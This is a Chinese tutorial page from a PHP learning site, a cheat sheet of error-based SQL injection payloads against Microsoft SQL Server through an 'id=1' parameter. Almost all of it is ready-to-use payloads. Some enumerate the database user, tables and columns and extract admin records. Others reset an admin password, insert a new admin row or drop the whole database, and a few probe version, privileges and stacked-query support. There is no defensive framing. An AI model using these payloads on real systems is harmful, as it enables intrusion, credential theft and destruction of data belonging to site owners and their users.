网站地图    收藏   

主页 > 后端 > 网站安全 >

mssql暴表暴列 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 注入点:id=1and user0 //得到数据库用户名having 1=1-- //得到当前用户的数据信息,类似于aaa.bbb的格式,aaa是表名,bbb是列名。group by 用户信息having 1=1-- //继续得到一个列。group by 信息1,....

注入点:id=1

and user>0  //得到数据库用户名

having 1=1--  //得到当前用户的数据信息,类似于aaa.bbb的格式,aaa是表名,bbb是列名。

group by 用户信息having 1=1--  //继续得到一个列。

group by 信息1,信息2 having 1=1--  //继续

原理:在SQL语句中,having 1=1--是和group by结合使用并进行条件判断的,如果语句不完整,数据库就会返回错误信息,并显示一个表名一个列名。

暴出任意表名

and (select top 1 name from (select top 1 id,name from sysobjects where xtype=char(85)) T order by id desc)>1  //N代表数据库中的第几个表。

暴出表的的任意列。

and (select top 1 col_name(object_id('表名'),N)from sysobjects)>1  //N代表第几列。

暴出数据

and (select top 1 adminname from admin where id=1)>1  //N 代表第几条数据

修改数据

;update 表名set 列名='内容' where 条件

;update admin set userpass='123456' where id=1

 

插入数据

;insert into 表名values (内容)--

;insert into admin values (3800hk,123456)--

删除数据库

drop database 数据库名

获得数据库版本

and (select @@version)>0

获得当前数据库名

and db_name()>0

and user>0也可以用来判断权限,例如返回public说明是public权限

判断是否支持多句查询

;declare @a int--

判断是否支持子查询

and (select count(1) from [sysobjects])>=0

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论